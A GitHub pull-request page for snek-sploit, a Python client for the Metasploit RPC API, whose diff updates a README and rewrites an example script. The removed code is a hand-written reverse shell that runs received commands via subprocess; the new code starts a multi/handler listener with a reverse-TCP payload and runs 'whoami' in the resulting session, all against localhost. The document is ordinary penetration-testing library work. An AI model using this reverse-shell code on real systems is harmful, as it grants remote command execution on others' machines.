Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Updated sessions.py example #17

Merged
merged 1 commit into from
May 14, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,8 @@ if __name__ == '__main__':

```

Examples can be found in the *[examples](https://github.com/SadParad1se/snek-sploit/tree/master/examples)* directory.

## Starting MSF RPC server
In Metasploit console:
```shell
Expand Down
46 changes: 12 additions & 34 deletions examples/sessions.py
Original file line number Diff line number Diff line change
@@ -1,47 +1,25 @@
# This script will start a reverse shell on the localhost

import time
import subprocess
import socket
import threading

from snek_sploit import MetasploitClient, ModuleType, SessionInformation


def create_connection(target, port=4444):
so = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
so.connect((target, port))
while True:
d = so.recv(1024)
if len(d) == 0:
break
p = subprocess.Popen(d, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o = p.stdout.read() + p.stderr.read()
so.send(o)


if __name__ == '__main__':
if __name__ == "__main__":
# Initialize client
client = MetasploitClient("msf", "root", disable_https_warnings=True)

print("Starting MSF listener... ", end="")
# Execute multi/handler module
execution = client.modules.rpc.execute(
ModuleType.EXPLOIT,
"multi/handler",
{"PAYLOAD": "python/shell_reverse_tcp", "LHOST": "0.0.0.0", "LPORT": 4444}
ModuleType.EXPLOIT, "multi/handler", {"PAYLOAD": "python/shell_reverse_tcp", "LHOST": "0.0.0.0", "LPORT": 4444}
)
print("OK")

threading.Thread(target=create_connection, args=("localhost",)).start()

print("Establishing connection to the listener... ", end="")
# Wait for a session
session_to_match = SessionInformation(exploit_uuid=execution.uuid)
while (sessions := client.sessions.filter(session_to_match)) is None:
time.sleep(1)
print("OK")
session_id = list(sessions.keys())[-1]
shell = client.sessions.get(session_id)
print(f"Executing command `whoami` in the session {session_id}... ")
shell.write('whoami')
time.sleep(3)
print(f"Result: {shell.read()}")
shell.kill()

# Get shell
shell = client.sessions.get(list(sessions.keys())[-1])

# Execute in shell
result = shell.execute("whoami")
print(result)